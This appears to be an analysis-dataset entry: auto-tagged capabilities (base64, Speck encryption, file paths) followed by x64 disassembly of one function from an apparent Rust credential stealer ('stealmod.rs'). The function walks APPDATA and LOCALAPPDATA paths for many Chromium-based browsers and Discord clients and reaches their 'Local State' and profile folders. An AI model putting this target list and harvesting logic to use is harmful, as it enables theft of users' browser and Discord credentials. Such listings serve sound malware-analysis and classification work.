Function at 0x140010307
Capabilities:
Encode data using base64
Encrypt data using speck
Get common file path

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
mov eax, 0x1318
call fcn.140173b40
sub rsp, rax
movdqa xmmword [rsp + 0x1300], xmm8
movaps xmmword [rsp + 0x12f0], xmm7
movaps xmmword [rsp + 0x12e0], xmm6
and qword [rsp + 0x790], 0
mov eax, 8
mov qword [rsp + 0x798], rax
and qword [rsp + 0x7a0], 0
and qword [rsp + 0x7a8], 0
mov qword [rsp + 0x7b0], rax
and qword [rsp + 0x7b8], 0
and qword [rsp + 0x378], 0
mov qword [rsp + 0x380], rax
and qword [rsp + 0x388], 0
movabs rdi, 0x8000000000000000
and qword [rsp + 0x400], 0
mov qword [rsp + 0x408], rax
and qword [rsp + 0x410], 0
lea rdx, str.localappdatasrc_stealmod.rs
lea rsi, [rsp + 0x4e0]
mov r8d, 0xc
mov rcx, rsi
call fcn.140152c20
lea rbx, [rdi + 1]
cmp qword [rsi], rbx
jne 0x14001848c
lea rdi, [rsp + 0x4e0]
mov rax, qword [rdi + 0x18]
mov qword [rsp + 0x130], rax
movups xmm0, xmmword [rdi + 8]
movaps xmmword [rsp + 0x120], xmm0
lea rdx, str.appdata
mov r8d, 7
mov rcx, rdi
call fcn.140152c20
mov qword [rsp + 0xe8], rbx
cmp qword [rdi], rbx
jne 0x1400184b8
lea rsi, [rsp + 0x4e0]
mov rax, qword [rsi + 0x18]
lea r14, [rsp + 0x150]
mov qword [r14 + 0x10], rax
movups xmm0, xmmword [rsi + 8]
movaps xmmword [r14], xmm0
mov qword [rsi], r14
lea rcx, [0x1400072e9]
lea rax, [0x14023ff60]
lea rbx, [rsp + 0x7c0]
mov qword [rbx], rax
mov eax, 2
mov qword [rbx + 8], rax
and qword [rbx + 0x20], 0
mov qword [rsi + 8], rcx
mov r12, rcx
mov qword [rbx + 0x10], rdi
mov eax, 1
mov qword [rbx + 0x18], rax
mov ebp, 1
lea r15, [rsp + 0x210]
mov rcx, r15
mov rdx, rbx
call fcn.140006c37
mov r13d, 5
mov ecx, 5
call fcn.140006f8c
mov dword [rdx], 0x7265704f
mov byte [rdx + 4], 0x61
mov qword [r15 + 0x18], rax
mov qword [r15 + 0x20], rdx
mov qword [r15 + 0x28], r13
lea rax, [0x14023ffa8]
mov qword [rbx], rax
mov r15d, 2
mov qword [rbx + 8], r15
and qword [rbx + 0x20], 0
mov qword [rsi], r14
mov r13, r12
mov qword [rsi + 8], r12
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], rbp
mov ebp, 1
lea r12, [rsp + 0xf0]
lea rbx, [rsp + 0x7c0]
mov rcx, r12
mov rdx, rbx
call fcn.140006c37
mov ecx, 8
call fcn.140006f8c
movabs rcx, 0x584720617265704f
mov qword [rdx], rcx
mov qword [r12 + 0x18], rax
mov qword [r12 + 0x20], rdx
mov qword [r12 + 0x28], 8
lea r12, [rsp + 0x120]
lea rax, [0x14023ffd8]
mov qword [rbx], rax
mov qword [rbx + 8], r15
mov r15d, 2
and qword [rbx + 0x20], 0
mov qword [rsi], r12
mov qword [rsi + 8], r13
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], rbp
lea r14, [rsp + 0xb0]
lea rbx, [rsp + 0x7c0]
mov rcx, r14
mov rdx, rbx
call fcn.140006c37
mov ecx, 5
call fcn.140006f8c
mov dword [rdx], 0x67696d41
mov byte [rdx + 4], 0x6f
mov qword [r14 + 0x18], rax
mov qword [r14 + 0x20], rdx
mov ebp, 5
mov qword [r14 + 0x28], rbp
lea rax, [0x140240010]
mov qword [rbx], rax
mov qword [rbx + 8], r15
and qword [rbx + 0x20], 0
mov qword [rsi], r12
mov qword [rsi + 8], r13
mov qword [rbx + 0x10], rdi
mov r14d, 1
mov qword [rbx + 0x18], r14
lea r15, [rsp + 0x750]
lea rbx, [rsp + 0x7c0]
mov rcx, r15
mov rdx, rbx
call fcn.140006c37
mov ecx, 5
call fcn.140006f8c
mov dword [rdx], 0x63726f54
mov byte [rdx + 4], 0x68
mov qword [r15 + 0x18], rax
mov qword [r15 + 0x20], rdx
mov qword [r15 + 0x28], rbp
lea rax, [0x140240048]
mov qword [rbx], rax
mov r15d, 2
mov qword [rbx + 8], r15
and qword [rbx + 0x20], 0
mov qword [rsi], r12
mov qword [rsi + 8], r13
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], r14
mov ebp, 1
lea rbx, [rsp + 0xbc0]
lea r14, [rsp + 0x7c0]
mov rcx, rbx
mov rdx, r14
call fcn.140006c37
mov ecx, 6
call fcn.140006f8c
mov dword [rdx], 0x656d6f4b
mov word [rdx + 4], 0x6174
mov qword [rbx + 0x18], rax
mov qword [rbx + 0x20], rdx
mov qword [rbx + 0x28], 6
lea rax, [0x140240080]
mov qword [r14], rax
mov qword [r14 + 8], r15
mov r15d, 2
and qword [r14 + 0x20], 0
mov qword [rsi], r12
mov qword [rsi + 8], r13
mov qword [r14 + 0x10], rdi
mov qword [r14 + 0x18], rbp
mov ebp, 1
lea rbx, [rsp + 0x240]
lea r14, [rsp + 0x7c0]
mov rcx, rbx
mov rdx, r14
call fcn.140006c37
mov ecx, 7
call fcn.140006f8c
mov dword [rdx], 0x6962724f
mov dword [rdx + 3], 0x6d757469
mov qword [rbx + 0x18], rax
mov qword [rbx + 0x20], rdx
mov eax, 7
mov qword [rbx + 0x28], rax
lea rax, [0x1402400c0]
mov qword [r14], rax
mov qword [r14 + 8], r15
and qword [r14 + 0x20], 0
mov qword [rsi], r12
mov qword [rsi + 8], r13
mov qword [r14 + 0x10], rdi
mov qword [r14 + 0x18], rbp
mov ebp, 1
lea r15, [rsp + 0xfa0]
lea r14, [rsp + 0x7c0]
mov rcx, r15
mov rdx, r14
call fcn.140006c37
mov ecx, 0xb
call fcn.140006f8c
movabs rcx, 0x776f7242746e6543
mov qword [rdx], rcx
mov dword [rdx + 7], 0x72657377
mov qword [r15 + 0x18], rax
mov qword [r15 + 0x20], rdx
mov qword [r15 + 0x28], 0xb
lea rax, [0x140240108]
mov qword [r14], rax
mov eax, 2
mov qword [r14 + 8], rax
and qword [r14 + 0x20], 0
mov qword [rsi], r12
mov qword [rsi + 8], r13
mov qword [r14 + 0x10], rdi
mov qword [r14 + 0x18], rbp
lea rbp, [rsp + 0x430]
lea r14, [rsp + 0x7c0]
mov rcx, rbp
mov rdx, r14
call fcn.140006c37
mov ecx, 5
call fcn.140006f8c
mov dword [rdx], 0x61745337
mov byte [rdx + 4], 0x72
mov qword [rbp + 0x18], rax
mov qword [rbp + 0x20], rdx
mov eax, 5
mov qword [rbp + 0x28], rax
lea rax, [0x140240148]
mov qword [r14], rax
mov eax, 2
mov qword [r14 + 8], rax
and qword [r14 + 0x20], 0
mov qword [rsi], r12
mov qword [rsi + 8], r13
mov qword [r14 + 0x10], rdi
mov eax, 1
mov qword [r14 + 0x18], rax
lea r14, [rsp + 0x290]
lea r13, [rsp + 0x7c0]
mov rcx, r14
mov rdx, r13
call fcn.140006c37
mov ecx, 7
call fcn.140006f8c
mov dword [rdx], 0x74757053
mov dword [rdx + 3], 0x6b696e74
mov qword [r14 + 0x18], rax
mov qword [r14 + 0x20], rdx
mov eax, 7
mov qword [r14 + 0x28], rax
lea rax, [0x140240190]
mov qword [r13], rax
mov eax, 2
mov qword [r13 + 8], rax
and qword [r13 + 0x20], 0
mov qword [rsi], r12
lea rax, [0x1400072e9]
mov qword [rsi + 8], rax
mov qword [r13 + 0x10], rdi
mov eax, 1
mov qword [r13 + 0x18], rax
lea rdi, [rsp + 0xcb0]
lea rdx, [rsp + 0x7c0]
mov rcx, rdi
call fcn.140006c37
mov r13d, 0xa
mov ecx, 0xa
call fcn.140006f8c
movabs rcx, 0x5320656d6f726843
mov qword [rdx], rcx
mov word [rdx + 8], 0x5378
mov qword [rdi + 0x18], rax
mov qword [rdi + 0x20], rdx
mov qword [rdi + 0x28], r13
lea rax, [rsp + 0x210]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movups xmm2, xmmword [rax + 0x20]
movaps xmmword [rsi], xmm0
movaps xmmword [rsi + 0x10], xmm1
movaps xmmword [rsi + 0x20], xmm2
lea rax, [rsp + 0xf0]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movups xmm2, xmmword [rax + 0x20]
movaps xmmword [rsi + 0x30], xmm0
movaps xmmword [rsi + 0x40], xmm1
movaps xmmword [rsi + 0x50], xmm2
lea rax, [rsp + 0xb0]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movups xmm2, xmmword [rax + 0x20]
movaps xmmword [rsi + 0x60], xmm0
movaps xmmword [rsi + 0x70], xmm1
movaps xmmword [rsi + 0x80], xmm2
lea rax, [rsp + 0x750]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movups xmm2, xmmword [rax + 0x20]
movaps xmmword [rsi + 0xb0], xmm2
movaps xmmword [rsi + 0xa0], xmm1
movaps xmmword [rsi + 0x90], xmm0
lea rax, [rsp + 0xbc0]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movups xmm2, xmmword [rax + 0x20]
movaps xmmword [rsi + 0xe0], xmm2
movaps xmmword [rsi + 0xd0], xmm1
movaps xmmword [rsi + 0xc0], xmm0
movups xmm0, xmmword [rbx]
movups xmm1, xmmword [rbx + 0x10]
movups xmm2, xmmword [rbx + 0x20]
movaps xmmword [rsi + 0x110], xmm2
movaps xmmword [rsi + 0x100], xmm1
movaps xmmword [rsi + 0xf0], xmm0
movups xmm0, xmmword [r15]
movups xmm1, xmmword [r15 + 0x10]
movups xmm2, xmmword [r15 + 0x20]
movaps xmmword [rsi + 0x140], xmm2
movaps xmmword [rsi + 0x130], xmm1
movaps xmmword [rsi + 0x120], xmm0
movups xmm0, xmmword [rbp]
movups xmm1, xmmword [rbp + 0x10]
movups xmm2, xmmword [rbp + 0x20]
movaps xmmword [rsi + 0x170], xmm2
movaps xmmword [rsi + 0x160], xmm1
movaps xmmword [rsi + 0x150], xmm0
movups xmm0, xmmword [r14]
movups xmm1, xmmword [r14 + 0x10]
movups xmm2, xmmword [r14 + 0x20]
movaps xmmword [rsi + 0x1a0], xmm2
movaps xmmword [rsi + 0x190], xmm1
movaps xmmword [rsi + 0x180], xmm0
movups xmm0, xmmword [rdi]
movups xmm1, xmmword [rdi + 0x10]
movups xmm2, xmmword [rdi + 0x20]
movaps xmmword [rsi + 0x1d0], xmm2
movaps xmmword [rsi + 0x1c0], xmm1
movaps xmmword [rsi + 0x1b0], xmm0
call fcn.1400088ef
movups xmm6, xmmword [0x1403128c0]
movaps xmmword [r14], xmm6
movups xmm7, xmmword [0x1403128d0]
movaps xmmword [r14 + 0x10], xmm7
lea r8, [rsp + 0x2b0]
mov qword [r8], rax
mov qword [r8 + 8], rdx
lea rcx, [rsp + 0x290]
mov edx, 0xa
call fcn.14000c877
lea rdi, [rsp + 0x7c0]
mov r8d, 0x1e0
mov rcx, rdi
mov rdx, rsi
call sub.api_ms_win_crt_private_l1_1_0.dll_memcpy
mov qword [rdi + 0x1e8], r13
lea rdi, [rsp + 0xcc8]
xor ebx, ebx
cmp rbx, 0x1e0
je 0x140010ade
movups xmm0, xmmword [rsp + rbx + 0x7c0]
movups xmm1, xmmword [rsp + rbx + 0x7d0]
movups xmm2, xmmword [rsp + rbx + 0x7e0]
movaps xmmword [rsp + 0xcd0], xmm2
movaps xmmword [rsp + 0xcc0], xmm1
movaps xmmword [rsp + 0xcb0], xmm0
mov rax, qword [rsp + rbx + 0x7d0]
mov qword [rsp + 0xfb0], rax
movaps xmmword [rsp + 0xfa0], xmm0
mov rcx, rbp
mov rdx, r14
mov r8, r15
mov r9, rdi
call fcn.14000bb4c
mov rcx, qword [rsp + 0x430]
mov rdx, qword [rsp + 0x438]
call fcn.14011f2a3
add rbx, 0x30
jmp 0x140010a61
lea rdi, [rsp + 0x9a0]
mov qword [rdi], 0xa
xor r12d, r12d
mov rcx, rdi
xor edx, edx
call fcn.1400065c4
lea rbx, [rsp + 0x290]
movaps xmm0, xmmword [rbx]
movaps xmm1, xmmword [rbx + 0x10]
movaps xmm2, xmmword [rbx + 0x20]
movaps xmmword [rsp + 0xb0], xmm0
movaps xmmword [rsp + 0xc0], xmm1
movaps xmmword [rsp + 0xd0], xmm2
lea r14, [rsp + 0x4e0]
lea rax, [rsp + 0x120]
mov qword [r14], rax
lea rax, [0x1402401d0]
mov qword [rdi - 0x1e0], rax
mov eax, 2
mov qword [rdi - 0x1d8], rax
and qword [rdi - 0x1c0], 0
lea rbp, [0x1400072e9]
mov qword [r14 + 8], rbp
mov qword [rdi - 0x1d0], rsi
mov eax, 1
mov qword [rdi - 0x1c8], rax
lea r13, [rsp + 0x750]
lea rdi, [rsp + 0x7c0]
mov rcx, r13
mov rdx, rdi
call fcn.140006c37
mov r15d, 7
mov ecx, 7
call fcn.140006f8c
mov dword [rdx], 0x61766956
mov dword [rdx + 3], 0x69646c61
mov qword [r13 + 0x18], rax
mov qword [r13 + 0x20], rdx
mov qword [r13 + 0x28], r15
lea rax, [0x140240210]
mov qword [rdi], rax
mov eax, 2
mov qword [rdi + 8], rax
and qword [rdi + 0x20], 0
lea r13, [rsp + 0x120]
mov qword [r14], r13
mov qword [r14 + 8], rbp
mov qword [rdi + 0x10], rsi
mov eax, 1
mov qword [rdi + 0x18], rax
lea r15, [rsp + 0xbc0]
lea rdi, [rsp + 0x7c0]
mov rcx, r15
mov rdx, rdi
call fcn.140006c37
mov ecx, 0xe
call fcn.140006f8c
movabs rcx, 0x666f736f7263694d
mov qword [rdx], rcx
movabs rcx, 0x656764452074666f
mov qword [rdx + 6], rcx
mov qword [r15 + 0x18], rax
mov qword [r15 + 0x20], rdx
mov qword [r15 + 0x28], 0xe
lea rax, [0x140240260]
mov qword [rdi], rax
mov eax, 2
mov qword [rdi + 8], rax
and qword [rdi + 0x20], 0
mov qword [r14], r13
mov qword [r14 + 8], rbp
mov qword [rdi + 0x10], rsi
mov eax, 1
mov qword [rdi + 0x18], rax
lea r13, [rsp + 0x240]
lea r15, [rsp + 0x7c0]
mov rcx, r13
mov rdx, r15
call fcn.140006c37
mov edi, 6
mov ecx, 6
call fcn.140006f8c
mov dword [rdx], 0x646e6159
mov word [rdx + 4], 0x7865
mov qword [r13 + 0x18], rax
mov qword [r13 + 0x20], rdx
mov qword [r13 + 0x28], rdi
lea rax, [0x140240298]
mov qword [r15], rax
mov eax, 2
mov qword [r15 + 8], rax
and qword [r15 + 0x20], 0
lea rdi, [rsp + 0x120]
mov qword [r14], rdi
mov qword [r14 + 8], rbp
mov qword [r15 + 0x10], rsi
mov eax, 1
mov qword [r15 + 0x18], rax
lea r15, [rsp + 0xfa0]
lea r13, [rsp + 0x7c0]
mov rcx, r15
mov rdx, r13
call fcn.140006c37
mov ecx, 7
call fcn.140006f8c
mov dword [rdx], 0x64697249
mov dword [rdx + 3], 0x6d756964
mov qword [r15 + 0x18], rax
mov qword [r15 + 0x20], rdx
mov eax, 7
mov qword [r15 + 0x28], rax
lea rax, [0x1402402d8]
mov qword [r13], rax
mov eax, 2
mov qword [r13 + 8], rax
and qword [r13 + 0x20], 0
mov qword [r14], rdi
mov qword [r14 + 8], rbp
mov qword [r13 + 0x10], rsi
mov eax, 1
mov qword [r13 + 0x18], rax
lea r13, [rsp + 0x430]
lea rdi, [rsp + 0x7c0]
mov rcx, r13
mov rdx, rdi
call fcn.140006c37
mov ecx, 4
call fcn.140006f8c
mov dword [rdx], 0x6e617255
mov qword [r13 + 0x18], rax
mov qword [r13 + 0x20], rdx
mov qword [r13 + 0x28], 4
lea rax, [0x140240320]
mov qword [rdi], rax
mov eax, 2
mov qword [rdi + 8], rax
and qword [rdi + 0x20], 0
lea rax, [rsp + 0x120]
mov qword [r14], rax
mov qword [r14 + 8], rbp
mov qword [rdi + 0x10], rsi
mov eax, 1
mov qword [rdi + 0x18], rax
lea rdi, [rsp + 0x7c0]
mov rcx, rbx
mov rdx, rdi
call fcn.140006c37
mov ecx, 5
call fcn.140006f8c
mov dword [rdx], 0x76617242
mov byte [rdx + 4], 0x65
mov qword [rbx + 0x18], rax
mov qword [rbx + 0x20], rdx
mov qword [rbx + 0x28], 5
lea rax, [0x140240360]
mov qword [rdi], rax
mov eax, 2
mov qword [rdi + 8], rax
and qword [rdi + 0x20], 0
lea rax, [rsp + 0x120]
mov qword [r14], rax
mov qword [r14 + 8], rbp
mov qword [rdi + 0x10], rsi
mov eax, 1
mov qword [rdi + 0x18], rax
lea rsi, [rsp + 0xcb0]
lea rdx, [rsp + 0x7c0]
mov rcx, rsi
call fcn.140006c37
mov ecx, 6
call fcn.140006f8c
mov dword [rdx], 0x6f726843
mov word [rdx + 4], 0x656d
mov qword [rsi + 0x18], rax
mov qword [rsi + 0x20], rdx
mov eax, 6
mov qword [rsi + 0x28], rax
lea rax, [rsp + 0x750]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movups xmm2, xmmword [rax + 0x20]
movaps xmmword [r14], xmm0
movaps xmmword [r14 + 0x10], xmm1
movaps xmmword [r14 + 0x20], xmm2
lea rax, [rsp + 0xbc0]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movups xmm2, xmmword [rax + 0x20]
movaps xmmword [r14 + 0x30], xmm0
movaps xmmword [r14 + 0x40], xmm1
movaps xmmword [r14 + 0x50], xmm2
lea rax, [rsp + 0x240]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov rdi, rax
movups xmm2, xmmword [rax + 0x20]
movaps xmmword [r14 + 0x60], xmm0
movaps xmmword [r14 + 0x70], xmm1
movaps xmmword [r14 + 0x80], xmm2
movups xmm0, xmmword [r15]
movups xmm1, xmmword [r15 + 0x10]
movups xmm2, xmmword [r15 + 0x20]
movaps xmmword [r14 + 0xb0], xmm2
movaps xmmword [r14 + 0xa0], xmm1
movaps xmmword [r14 + 0x90], xmm0
movups xmm0, xmmword [r13]
movups xmm1, xmmword [r13 + 0x10]
movups xmm2, xmmword [r13 + 0x20]
movaps xmmword [r14 + 0xe0], xmm2
movaps xmmword [r14 + 0xd0], xmm1
movaps xmmword [r14 + 0xc0], xmm0
movups xmm0, xmmword [rbx]
movups xmm1, xmmword [rbx + 0x10]
movups xmm2, xmmword [rbx + 0x20]
movaps xmmword [r14 + 0x110], xmm2
movaps xmmword [r14 + 0x100], xmm1
movaps xmmword [r14 + 0xf0], xmm0
movups xmm0, xmmword [rsi]
movups xmm1, xmmword [rsi + 0x10]
movups xmm2, xmmword [rsi + 0x20]
movaps xmmword [r14 + 0x140], xmm2
movaps xmmword [r14 + 0x130], xmm1
movaps xmmword [r14 + 0x120], xmm0
call fcn.1400088ef
movaps xmmword [rbx], xmm6
movaps xmmword [rbx + 0x10], xmm7
lea r8, [rsp + 0x2b0]
mov qword [r8], rax
mov qword [r8 + 8], rdx
lea rcx, [rsp + 0x290]
mov edx, 7
call fcn.14000c877
lea rsi, [rsp + 0x7c0]
mov r8d, 0x150
mov rcx, rsi
mov rdx, r14
call sub.api_ms_win_crt_private_l1_1_0.dll_memcpy
mov eax, 7
mov qword [rsi + 0x158], rax
lea rsi, [rsp + 0xcc8]
cmp r12, 0x150
je 0x140011043
movups xmm0, xmmword [rsp + r12 + 0x7c0]
movups xmm1, xmmword [rsp + r12 + 0x7d0]
movups xmm2, xmmword [rsp + r12 + 0x7e0]
movaps xmmword [rsp + 0xcd0], xmm2
movaps xmmword [rsp + 0xcc0], xmm1
movaps xmmword [rsp + 0xcb0], xmm0
mov rax, qword [rsp + r12 + 0x7d0]
mov qword [rsp + 0xfb0], rax
movaps xmmword [rsp + 0xfa0], xmm0
mov rcx, r13
mov rdx, rbx
mov r8, r15
mov r9, rsi
call fcn.14000bb4c
mov rcx, qword [rsp + 0x430]
mov rdx, qword [rsp + 0x438]
call fcn.14011f2a3
add r12, 0x30
jmp 0x140010fc3
lea rcx, [rsp + 0x910]
mov qword [rcx], 7
xor edx, edx
call fcn.1400065c4
movaps xmm0, xmmword [rsp + 0x290]
movaps xmm1, xmmword [rsp + 0x2a0]
movaps xmm2, xmmword [rsp + 0x2b0]
movaps xmmword [rsp + 0x1b0], xmm0
movaps xmmword [rsp + 0x1c0], xmm1
movaps xmmword [rsp + 0x1d0], xmm2
movaps xmm0, xmmword [rsp + 0xb0]
movaps xmm1, xmmword [rsp + 0xc0]
movaps xmm2, xmmword [rsp + 0xd0]
movaps xmmword [rsp + 0x180], xmm0
movaps xmmword [rsp + 0x190], xmm1
movaps xmmword [rsp + 0x1a0], xmm2
mov rcx, qword [rsp + 0x150]
mov rdx, qword [rsp + 0x158]
call fcn.140173443
mov rcx, qword [rsp + 0x120]
mov rdx, qword [rsp + 0x128]
call fcn.140173443
movaps xmm0, xmmword [rsp + 0x180]
movaps xmm1, xmmword [rsp + 0x190]
movaps xmm2, xmmword [rsp + 0x1a0]
movaps xmm3, xmmword [rsp + 0x1b0]
movaps xmmword [rsp + 0xd0], xmm2
movaps xmmword [rsp + 0xc0], xmm1
movaps xmmword [rsp + 0xb0], xmm0
movaps xmm0, xmmword [rsp + 0x1d0]
movaps xmmword [rsp + 0x770], xmm0
movaps xmm0, xmmword [rsp + 0x1c0]
movaps xmmword [rsp + 0x760], xmm0
movaps xmmword [rsp + 0x750], xmm3
lea rdx, str.appdata
lea r15, [rsp + 0x4e0]
mov r8d, 7
mov rcx, r15
call fcn.140152c20
mov rax, qword [rsp + 0xe8]
cmp qword [r15], rax
jne 0x1400184e4
lea rbx, [rsp + 0x4e0]
mov rax, qword [rbx + 0x18]
mov qword [rsp + 0x250], rax
movups xmm0, xmmword [rbx + 8]
movaps xmmword [rsp + 0x240], xmm0
mov qword [rbx], rdi
lea rax, [0x1402403a8]
lea r14, [rsp + 0x7c0]
mov qword [r14], rax
mov eax, 2
mov qword [r14 + 8], rax
mov ebp, 2
and qword [r14 + 0x20], 0
lea r12, [0x1400072e9]
mov qword [rbx + 8], r12
mov qword [r14 + 0x10], r15
mov r13d, 1
mov qword [r14 + 0x18], r13
lea rsi, [rsp + 0x430]
mov rcx, rsi
mov rdx, r14
call fcn.140006c37
mov ecx, 7
call fcn.140006f8c
mov dword [rdx], 0x63736944
mov dword [rdx + 3], 0x64726f63
mov qword [rsi + 0x18], rax
mov qword [rsi + 0x20], rdx
mov qword [rsi + 0x28], 7
lea rax, [0x1402403e0]
mov qword [r14], rax
mov qword [r14 + 8], rbp
and qword [r14 + 0x20], 0
mov qword [rbx], rdi
mov qword [rbx + 8], r12
mov qword [r14 + 0x10], r15
mov qword [r14 + 0x18], r13
lea r14, [rsp + 0x290]
lea rdi, [rsp + 0x7c0]
mov rcx, r14
mov rdx, rdi
call fcn.140006c37
mov ecx, 0xe
call fcn.140006f8c
movabs rbp, 0x2064726f63736944
mov qword [rdx], rbp
movabs rcx, 0x7972616e61432064
mov qword [rdx + 6], rcx
mov qword [r14 + 0x18], rax
mov qword [r14 + 0x20], rdx
mov qword [r14 + 0x28], 0xe
lea rax, [0x140240420]
mov qword [rdi], rax
mov eax, 2
mov qword [rdi + 8], rax
and qword [rdi + 0x20], 0
lea rax, [rsp + 0x240]
mov qword [rbx], rax
mov qword [rbx + 8], r12
mov qword [rdi + 0x10], r15
mov qword [rdi + 0x18], r13
lea rdi, [rsp + 0xcb0]
lea rdx, [rsp + 0x7c0]
mov rcx, rdi
call fcn.140006c37
mov ecx, 0xb
call fcn.140006f8c
mov qword [rdx], rbp
mov dword [rdx + 7], 0x42545020
mov qword [rdi + 0x18], rax
mov qword [rdi + 0x20], rdx
mov qword [rdi + 0x28], 0xb
movups xmm0, xmmword [rsi]
movups xmm1, xmmword [rsi + 0x10]
movups xmm2, xmmword [rsi + 0x20]
movaps xmmword [rbx], xmm0
movaps xmmword [rbx + 0x10], xmm1
movaps xmmword [rbx + 0x20], xmm2
movups xmm0, xmmword [r14]
movups xmm1, xmmword [r14 + 0x10]
movups xmm2, xmmword [r14 + 0x20]
movaps xmmword [rbx + 0x30], xmm0
movaps xmmword [rbx + 0x40], xmm1
movaps xmmword [rbx + 0x50], xmm2
movups xmm0, xmmword [rdi]
movaps xmmword [rbx + 0x60], xmm0
mov rax, qword [rdi + 0x10]
mov qword [rbx + 0x70], rax
mov rax, qword [rdi + 0x18]
mov qword [rbx + 0x78], rax
movups xmm0, xmmword [rdi + 0x20]
movaps xmmword [rbx + 0x80], xmm0
call fcn.1400088ef
movaps xmmword [r14], xmm6
movaps xmmword [r14 + 0x10], xmm7
lea r8, [rsp + 0x2b0]
mov qword [r8], rax
mov qword [r8 + 8], rdx
lea rcx, [rsp + 0x290]
mov edx, 3
call fcn.14000c877
lea rcx, [rsp + 0x7c0]
mov r8d, 0x90
mov rdx, rbx
call sub.api_ms_win_crt_private_l1_1_0.dll_memcpy
lea rdi, [rsp + 0x850]
and qword [rdi], 0
mov qword [rdi + 8], 3
lea rbx, [rsp + 0xcc8]
xor r12d, r12d
lea r15, [rsp + 0xfa0]
cmp r12, 0x90
je 0x140011427
movups xmm0, xmmword [rsp + r12 + 0x7c0]
movups xmm1, xmmword [rsp + r12 + 0x7d0]
movups xmm2, xmmword [rsp + r12 + 0x7e0]
movaps xmmword [rsp + 0xcd0], xmm2
movaps xmmword [rsp + 0xcc0], xmm1
movaps xmmword [rsp + 0xcb0], xmm0
mov rax, qword [rsp + r12 + 0x7d0]
mov qword [rsp + 0xfb0], rax
movaps xmmword [rsp + 0xfa0], xmm0
mov rcx, rsi
mov rdx, r14
mov r8, r15
mov r9, rbx
call fcn.14000bb4c
mov rcx, qword [rsp + 0x430]
mov rdx, qword [rsp + 0x438]
call fcn.14011f2a3
add r12, 0x30
jmp 0x1400113a7
lea rax, [rsp + 0x7c0]
mov qword [rax + 0x90], 3
mov rcx, rdi
xor edx, edx
call fcn.1400065c4
lea rax, [rsp + 0x290]
movaps xmm0, xmmword [rax]
movaps xmm1, xmmword [rax + 0x10]
movaps xmm2, xmmword [rax + 0x20]
movaps xmmword [rsp + 0xbc0], xmm0
movaps xmmword [rsp + 0xbd0], xmm1
movaps xmmword [rsp + 0xbe0], xmm2
lea rax, [rsp + 0x240]
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
call fcn.140173443
mov rcx, qword [rsp + 0x750]
mov rax, qword [rsp + 0x758]
lea rdx, [rcx + rax]
inc rdx
movdqa xmm0, xmmword [rcx]
pmovmskb eax, xmm0
not eax
lea r9, [rcx + 0x10]
mov r8, qword [rsp + 0x768]
lea rbx, [rsp + 0x430]
mov qword [rsp + 0x78], rcx
mov qword [rbx], rcx
mov qword [rsp + 0xa8], r9
mov qword [rbx + 8], r9
mov qword [rsp + 0xa0], rdx
mov qword [rbx + 0x10], rdx
mov word [rbx + 0x18], ax
mov qword [rsp + 0x70], r8
mov qword [rbx + 0x20], r8
lea r12, [rsp + 0xcc0]
lea rbp, [rsp + 0x4e0]
lea r15, [rsp + 0xcb0]
mov rcx, rbx
call fcn.14000146e
test rax, rax
je 0x1400118fd
mov r13, rax
mov rdx, qword [rax + 8]
mov r8, qword [rax + 0x10]
lea rdi, [rsp + 0x7c0]
mov rcx, rdi
call fcn.140001f96
mov esi, dword [rsp + 0x7c0]
mov rcx, rdi
call fcn.1400065eb
cmp esi, 2
je 0x1400114fd
mov rdx, qword [r13 + 8]
mov r8, qword [r13 + 0x10]
lea rcx, [rsp + 0x7c0]
call fcn.140008653
mov rsi, qword [rsp + 0x7c8]
mov r8, qword [rsp + 0x7d0]
mov qword [rsp + 0x20], 0xb
mov rcx, rbp
mov rdx, rsi
lea r9, str.Local_State
call fcn.140156990
mov rdi, qword [rsp + 0x4e8]
mov r8, qword [rsp + 0x4f0]
mov rcx, r15
mov rdx, rdi
call fcn.14000c882
mov rcx, qword [rsp + 0xcb0]
movabs rax, 0x8000000000000000
cmp rcx, rax
je 0x140011fc0
mov qword [rsp + 0x58], rcx
mov rax, qword [rsp + 0xcb8]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0xcc0]
mov qword [rsp + 0x50], rax
mov rcx, qword [rsp + 0x4e0]
mov rdx, rdi
call fcn.140173443
mov rcx, qword [rsp + 0x7c0]
mov rdx, rsi
call fcn.140173443
mov rdx, qword [r13 + 8]
mov r8, qword [r13 + 0x10]
mov rcx, rbp
call fcn.140001fd7
cmp dword [rsp + 0x4f0], 2
je 0x140018210
mov r8d, 0x268
lea rcx, [rsp + 0x7c0]
mov rdx, rbp
call sub.api_ms_win_crt_private_l1_1_0.dll_memcpy
mov rcx, rbp
lea rdx, [rsp + 0x7c0]
call fcn.1401539e0
test byte [rsp + 0x4e0], 1
je 0x1400118d4
mov rcx, qword [rsp + 0x4e8]
mov rax, qword [rsp + 0x4f0]
test rcx, rcx
je 0x140018047
mov qword [rsp + 0xcb0], rcx
mov qword [rsp + 0xcb8], rax
mov r8d, 0x248
mov rcx, r12
lea rdx, [rsp + 0x4f8]
call sub.api_ms_win_crt_private_l1_1_0.dll_memcpy
lea rcx, [rsp + 0x210]
mov rdx, r15
call fcn.140153db0
mov rcx, r15
call fcn.140006446
mov r14, qword [rsp + 0x218]
mov rsi, qword [rsp + 0x220]
mov rcx, r14
mov rdx, rsi
call fcn.140002c33
test rax, rax
je 0x14001805b
mov r9d, 7
mov rcx, rax
lea r8, str.Profile
call fcn.140019b1a
test al, al
jne 0x140011709
mov rcx, r14
mov rdx, rsi
call fcn.140002c33
test rax, rax
je 0x140018073
mov r9d, 7
mov rcx, rax
lea r8, str.Default
call fcn.140101d76
test al, al
je 0x1400118bf
mov rbx, rbp
mov rdi, qword [r13 + 8]
mov rbp, qword [r13 + 0x10]
